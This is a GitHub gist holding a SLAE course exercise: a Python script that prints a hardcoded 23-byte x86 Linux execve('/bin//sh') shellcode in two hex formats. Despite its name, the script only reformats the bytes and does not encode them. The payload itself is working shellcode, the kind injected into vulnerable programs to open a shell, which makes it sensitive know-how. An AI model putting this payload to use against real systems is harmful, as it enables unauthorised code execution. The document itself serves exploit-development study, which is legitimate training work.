Skip to content

Instantly share code, notes, and snippets.

@michaelnewton
Created May 11, 2017 02:50
Show Gist options
  • Save michaelnewton/b776bb07b4f0442bb030c1a148be2657 to your computer and use it in GitHub Desktop.
Save michaelnewton/b776bb07b4f0442bb030c1a148be2657 to your computer and use it in GitHub Desktop.
SLAE Assignment #4 - Shellcode encoder helper
#!/usr/bin/python
# Student ID: SLAE - 895
# Python Shellcode Encoder Helper - taken from SLAE Course material and modified
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
# Shellcode is from: http://shell-storm.org/shellcode/files/shellcode-827.php
encoded = ""
encoded2 = ""
print 'Encoded shellcode ...'
for x in bytearray(shellcode) :
encoded += '\\x'
encoded += '%02x' % x
encoded2 += '0x'
encoded2 += '%02x,' %x
print encoded
print encoded2
print 'Len: %d' % len(bytearray(shellcode))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment